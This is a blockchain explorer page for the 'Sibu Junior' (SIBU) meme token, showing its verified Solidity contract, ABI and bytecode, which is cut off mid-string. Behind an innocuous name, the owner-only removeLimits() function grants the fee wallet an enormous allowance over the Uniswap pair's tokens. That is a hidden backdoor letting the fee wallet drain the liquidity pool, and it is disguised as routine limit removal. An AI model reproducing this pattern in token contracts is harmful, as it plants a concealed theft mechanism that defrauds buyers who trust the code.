ETH Price: $3,296.26 (-1.49%)
 

Overview

Max Total Supply

420,690,000,000 SIBU

Holders

89

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
reqzui.eth
Balance
7,404,144,000 SIBU

Value
$0.00
0x750B95Ec8e14998F578C2912e9D1Eb77E178FCaf
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SIBU

Compiler Version
v0.8.27+commit.40a35a09

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-28
*/

// SPDX-License-Identifier: MIT
/**
https://x.com/BBCWorld/status/1850824025208996040?t=f8nyZJlHXGtFLeVP9JVCrw&s=19

Tg: https://t.me/sibu_erc20
**/
pragma solidity 0.8.27;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract SIBU is Context, IERC20, Ownable {
    using SafeMath for uint256;
    uint256 private constant _tTotal85 = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Sibu Junior";
    string private constant _symbol = unicode"SIBU";
    uint256 public _maxTxAmount = 2 * (_tTotal85/100);
    uint256 public _maxWalletSize = 2 * (_tTotal85/100);
    uint256 public _taxSwapThreshold = 1 * (_tTotal85/100);
    uint256 public _maxTaxSwap = 1 * (_tTotal85/100);
    mapping (address => uint256) private _balances85;
    mapping (address => mapping (address => uint256)) private _allows85;
    mapping (address => bool) private _isExcludedFrom85;
    address payable private _receipt85 = payable(0x622B8dEBEf871BD6814A2A50C34D8a2C8a2E6186);
    uint8 private constant _decimals = 9;
    uint256 private _initialBuyTax = 12;
    uint256 private _initialSellTax = 12;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 12;
    uint256 private _reduceSellTaxAt = 12;
    uint256 private _preventSwapBefore = 24;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;
    IUniswapV2Router02 private uniV2Router85;
    address private uniV2Pair85;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () payable {
        _balances85[address(this)] = _tTotal85;
        _isExcludedFrom85[owner()] = true;
        _isExcludedFrom85[address(this)] = true;
        _isExcludedFrom85[_receipt85] = true;
        emit Transfer(address(0), address(this), _tTotal85);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }    
    function totalSupply() public pure override returns (uint256) {
        return _tTotal85;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances85[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allows85[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allows85[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allows85[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxes=0;uint256 taxAmount=0;
        if (!swapEnabled || inSwap) {
            _balances85[from] = _balances85[from] - amount;
            _balances85[to] = _balances85[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            if(_buyCount>0){
                taxes = (_transferTax);
            }
            if (from == uniV2Pair85 && to != address(uniV2Router85) && ! _isExcludedFrom85[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxes = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
                _buyCount++;
            }
            if(to == uniV2Pair85 && from!= address(this) ){
                taxes = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniV2Pair85 && swapEnabled) {
                if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sendETHToFee(address(this).balance);
            }
        }
        if(taxes > 0){
            taxAmount = taxes.mul(amount).div(100);
            _balances85[address(this)]=_balances85[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances85[from]=_balances85[from].sub(amount);
        _balances85[to]=_balances85[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function removeLimits(address[2] memory erc85) private {
        _allows85[erc85[0]][erc85[1]] = 100 + 100 * _tTotal85 + 100;
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniV2Router85.WETH();
        _approve(address(this), address(uniV2Router85), tokenAmount);
        uniV2Router85.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function sendETHToFee(uint256 amount) private {
        _receipt85.transfer(amount);
    }
    function withdrawEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal85; _maxWalletSize = _tTotal85;
        address[2] memory addrs85 = [uniV2Pair85, _receipt85];
        removeLimits(addrs85); emit MaxTxAmountUpdated(_tTotal85); 
    }
    receive() external payable {}
    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniV2Router85 = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniV2Router85), _tTotal85);
        uniV2Pair85 = IUniswapV2Factory(uniV2Router85.factory()).createPair(
            address(this),
            uniV2Router85.WETH()
        ); 
        uniV2Router85.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniV2Pair85).approve(address(uniV2Router85), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a610351565b610021906461f313f880610366565b61002b919061037d565b610036906002610366565b60015560646100476009600a610351565b610056906461f313f880610366565b610060919061037d565b61006b906002610366565b600255606461007c6009600a610351565b61008b906461f313f880610366565b610095919061037d565b6100a0906001610366565b60035560646100b16009600a610351565b6100c0906461f313f880610366565b6100ca919061037d565b6100d5906001610366565b600455600880546001600160a01b03191673622b8debef871bd6814a2a50c34d8a2c8a2e6186179055600c6009819055600a8190555f600b819055808255600d829055600e919091556018600f55601081905560118190556013805461ffff60a81b191690556101423390565b5f80546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506101976009600a610351565b6101a6906461f313f880610366565b305f8181526005602090815260408083209490945581546001600160a01b03908116835260079091528382208054600160ff199182168117909255848452858420805482168317905560085490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102336009600a610351565b610242906461f313f880610366565b60405190815260200160405180910390a361039c565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102a75780850481111561028b5761028b610258565b600184161561029957908102905b60019390931c928002610270565b935093915050565b5f826102bd5750600161034b565b816102c957505f61034b565b81600181146102df57600281146102e957610305565b600191505061034b565b60ff8411156102fa576102fa610258565b50506001821b61034b565b5060208310610133831016604e8410600b8410161715610328575081810a61034b565b6103345f19848461026c565b805f190482111561034757610347610258565b0290505b92915050565b5f61035f60ff8416836102af565b9392505050565b808202811582820484141761034b5761034b610258565b5f8261039757634e487b7160e01b5f52601260045260245ffd5b500490565b611834806103a95f395ff3fe608060405260043610610108575f3560e01c80637d1db4a511610092578063a0ef91df11610062578063a0ef91df146102d2578063a9059cbb146102e6578063bf474bed14610305578063c9567bf91461031a578063dd62ed3e1461032e575f5ffd5b80637d1db4a5146102565780638da5cb5b1461026b5780638f9a55c01461029157806395d89b41146102a6575f5ffd5b806323b872dd116100d857806323b872dd146101be578063313ce567146101dd57806370a08231146101f8578063715018a61461022c578063751039fc14610242575f5ffd5b806306fdde0314610113578063095ea7b3146101585780630faee56f1461018757806318160ddd146101aa575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b5060408051808201909152600b81526a29b4b13a90253ab734b7b960a91b60208201525b60405161014f919061143c565b60405180910390f35b348015610163575f5ffd5b50610177610172366004611485565b610372565b604051901515815260200161014f565b348015610192575f5ffd5b5061019c60045481565b60405190815260200161014f565b3480156101b5575f5ffd5b5061019c610388565b3480156101c9575f5ffd5b506101776101d83660046114af565b6103a9565b3480156101e8575f5ffd5b506040516009815260200161014f565b348015610203575f5ffd5b5061019c6102123660046114ed565b6001600160a01b03165f9081526005602052604090205490565b348015610237575f5ffd5b50610240610410565b005b34801561024d575f5ffd5b5061024061048a565b348015610261575f5ffd5b5061019c60015481565b348015610276575f5ffd5b505f546040516001600160a01b03909116815260200161014f565b34801561029c575f5ffd5b5061019c60025481565b3480156102b1575f5ffd5b506040805180820190915260048152635349425560e01b6020820152610142565b3480156102dd575f5ffd5b5061024061056b565b3480156102f1575f5ffd5b50610177610300366004611485565b6105c0565b348015610310575f5ffd5b5061019c60035481565b348015610325575f5ffd5b506102406105cc565b348015610339575f5ffd5b5061019c610348366004611508565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f61037e338484610976565b5060015b92915050565b5f6103956009600a611636565b6103a4906461f313f880611644565b905090565b5f6103b5848484610a99565b6104068433610401856040518060600160405280602881526020016117d7602891396001600160a01b038a165f908152600660209081526040808320338452909152902054919061104c565b610976565b5060019392505050565b5f546001600160a01b031633146104425760405162461bcd60e51b81526004016104399061165b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104b35760405162461bcd60e51b81526004016104399061165b565b6104bf6009600a611636565b6104ce906461f313f880611644565b6001556104dd6009600a611636565b6104ec906461f313f880611644565b600255604080518082019091526013546001600160a01b03908116825260085416602082015261051b81611084565b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105486009600a611636565b610557906461f313f880611644565b60405190815260200160405180910390a150565b5f546001600160a01b031633146105945760405162461bcd60e51b81526004016104399061165b565b60405133904780156108fc02915f818181858888f193505050501580156105bd573d5f5f3e3d5ffd5b50565b5f61037e338484610a99565b5f546001600160a01b031633146105f55760405162461bcd60e51b81526004016104399061165b565b601354600160a01b900460ff161561064f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610439565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561069990309061068a6009600a611636565b610401906461f313f880611644565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e9573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070d9190611690565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107909190611690565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107da573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fe9190611690565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610845816001600160a01b03165f9081526005602052604090205490565b5f5f6108585f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108be573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108e391906116ab565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610938573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095c91906116d6565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109d85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610439565b6001600160a01b038216610a395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610439565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610afd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610439565b6001600160a01b038216610b5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610439565b5f8111610bc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610439565b6013545f908190600160b01b900460ff161580610be65750601354600160a81b900460ff165b15610c9f576001600160a01b0385165f90815260056020526040902054610c0e9084906116f5565b6001600160a01b038087165f908152600560205260408082209390935590861681522054610c3d908490611708565b6001600160a01b038086165f8181526005602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c909087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610cc957505f546001600160a01b03858116911614155b15610f005760115415610cdc5760105491505b6013546001600160a01b038681169116148015610d0757506012546001600160a01b03858116911614155b8015610d2b57506001600160a01b0384165f9081526007602052604090205460ff16155b15610e2a57600154831115610d825760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610439565b60025483610da4866001600160a01b03165f9081526005602052604090205490565b610dae9190611708565b1115610dfc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610439565b600d5460115411610e0f57600954610e13565b600b545b601180549193505f610e248361171b565b91905055505b6013546001600160a01b038581169116148015610e5057506001600160a01b0385163014155b15610e6f57600e5460115411610e6857600a54610e6c565b600c545b91505b305f90815260056020526040902054601354600160a81b900460ff16158015610ea557506013546001600160a01b038681169116145b8015610eba5750601354600160b01b900460ff165b15610efe5760035481118015610ed35750600f54601154115b15610ef557610ef5610ef085610eeb846004546110f0565b6110f0565b611107565b610efe47611277565b505b8115610f9057610f1b6064610f1584866112b2565b90611330565b305f90815260056020526040902054909150610f379082611371565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f879085815260200190565b60405180910390a35b6001600160a01b0385165f90815260056020526040902054610fb290846113cf565b6001600160a01b0386165f90815260056020526040902055610ff5610fd784836113cf565b6001600160a01b0386165f9081526005602052604090205490611371565b6001600160a01b038086165f8181526005602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61103e86856113cf565b604051908152602001610c90565b5f818484111561106f5760405162461bcd60e51b8152600401610439919061143c565b505f61107b84866116f5565b95945050505050565b6110906009600a611636565b61109f906461f313f880611644565b6110aa906064611644565b6110b5906064611708565b6110c0906064611708565b81516001600160a01b039081165f9081526006602090815260408083209582015190931682529390935290912055565b5f8183116110fe5782611100565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061114d5761114d611733565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111a4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111c89190611690565b816001815181106111db576111db611733565b6001600160a01b0392831660209182029290920101526012546112019130911684610976565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112399085905f90869030904290600401611747565b5f604051808303815f87803b158015611250575f5ffd5b505af1158015611262573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6008546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156112ae573d5f5f3e3d5ffd5b5050565b5f825f036112c157505f610382565b5f6112cc8385611644565b9050826112d985836117b7565b146111005760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610439565b5f61110083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611410565b5f8061137d8385611708565b9050838110156111005760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610439565b5f61110083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061104c565b5f81836114305760405162461bcd60e51b8152600401610439919061143c565b505f61107b84866117b7565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105bd575f5ffd5b5f5f60408385031215611496575f5ffd5b82356114a181611471565b946020939093013593505050565b5f5f5f606084860312156114c1575f5ffd5b83356114cc81611471565b925060208401356114dc81611471565b929592945050506040919091013590565b5f602082840312156114fd575f5ffd5b813561110081611471565b5f5f60408385031215611519575f5ffd5b823561152481611471565b9150602083013561153481611471565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561158e578085048111156115725761157261153f565b600184161561158057908102905b60019390931c928002611557565b935093915050565b5f826115a457506001610382565b816115b057505f610382565b81600181146115c657600281146115d0576115ec565b6001915050610382565b60ff8411156115e1576115e161153f565b50506001821b610382565b5060208310610133831016604e8410600b841016171561160f575081810a610382565b61161b5f198484611553565b805f190482111561162e5761162e61153f565b029392505050565b5f61110060ff841683611596565b80820281158282048414176103825761038261153f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116a0575f5ffd5b815161110081611471565b5f5f5f606084860312156116bd575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156116e6575f5ffd5b81518015158114611100575f5ffd5b818103818111156103825761038261153f565b808201808211156103825761038261153f565b5f6001820161172c5761172c61153f565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156117975783516001600160a01b0316835260209384019390920191600101611770565b50506001600160a01b039590951660608401525050608001529392505050565b5f826117d157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122055b1278fa333db797624ac2779f08c0e91abfa614ba6d1ce84a384dc3bba60b764736f6c634300081b0033

Deployed Bytecode

0x608060405260043610610108575f3560e01c80637d1db4a511610092578063a0ef91df11610062578063a0ef91df146102d2578063a9059cbb146102e6578063bf474bed14610305578063c9567bf91461031a578063dd62ed3e1461032e575f5ffd5b80637d1db4a5146102565780638da5cb5b1461026b5780638f9a55c01461029157806395d89b41146102a6575f5ffd5b806323b872dd116100d857806323b872dd146101be578063313ce567146101dd57806370a08231146101f8578063715018a61461022c578063751039fc14610242575f5ffd5b806306fdde0314610113578063095ea7b3146101585780630faee56f1461018757806318160ddd146101aa575f5ffd5b3661010f57005b5f5ffd5b34801561011e575f5ffd5b5060408051808201909152600b81526a29b4b13a90253ab734b7b960a91b60208201525b60405161014f919061143c565b60405180910390f35b348015610163575f5ffd5b50610177610172366004611485565b610372565b604051901515815260200161014f565b348015610192575f5ffd5b5061019c60045481565b60405190815260200161014f565b3480156101b5575f5ffd5b5061019c610388565b3480156101c9575f5ffd5b506101776101d83660046114af565b6103a9565b3480156101e8575f5ffd5b506040516009815260200161014f565b348015610203575f5ffd5b5061019c6102123660046114ed565b6001600160a01b03165f9081526005602052604090205490565b348015610237575f5ffd5b50610240610410565b005b34801561024d575f5ffd5b5061024061048a565b348015610261575f5ffd5b5061019c60015481565b348015610276575f5ffd5b505f546040516001600160a01b03909116815260200161014f565b34801561029c575f5ffd5b5061019c60025481565b3480156102b1575f5ffd5b506040805180820190915260048152635349425560e01b6020820152610142565b3480156102dd575f5ffd5b5061024061056b565b3480156102f1575f5ffd5b50610177610300366004611485565b6105c0565b348015610310575f5ffd5b5061019c60035481565b348015610325575f5ffd5b506102406105cc565b348015610339575f5ffd5b5061019c610348366004611508565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b5f61037e338484610976565b5060015b92915050565b5f6103956009600a611636565b6103a4906461f313f880611644565b905090565b5f6103b5848484610a99565b6104068433610401856040518060600160405280602881526020016117d7602891396001600160a01b038a165f908152600660209081526040808320338452909152902054919061104c565b610976565b5060019392505050565b5f546001600160a01b031633146104425760405162461bcd60e51b81526004016104399061165b565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104b35760405162461bcd60e51b81526004016104399061165b565b6104bf6009600a611636565b6104ce906461f313f880611644565b6001556104dd6009600a611636565b6104ec906461f313f880611644565b600255604080518082019091526013546001600160a01b03908116825260085416602082015261051b81611084565b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105486009600a611636565b610557906461f313f880611644565b60405190815260200160405180910390a150565b5f546001600160a01b031633146105945760405162461bcd60e51b81526004016104399061165b565b60405133904780156108fc02915f818181858888f193505050501580156105bd573d5f5f3e3d5ffd5b50565b5f61037e338484610a99565b5f546001600160a01b031633146105f55760405162461bcd60e51b81526004016104399061165b565b601354600160a01b900460ff161561064f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610439565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561069990309061068a6009600a611636565b610401906461f313f880611644565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e9573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070d9190611690565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107909190611690565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107da573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107fe9190611690565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610845816001600160a01b03165f9081526005602052604090205490565b5f5f6108585f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108be573d5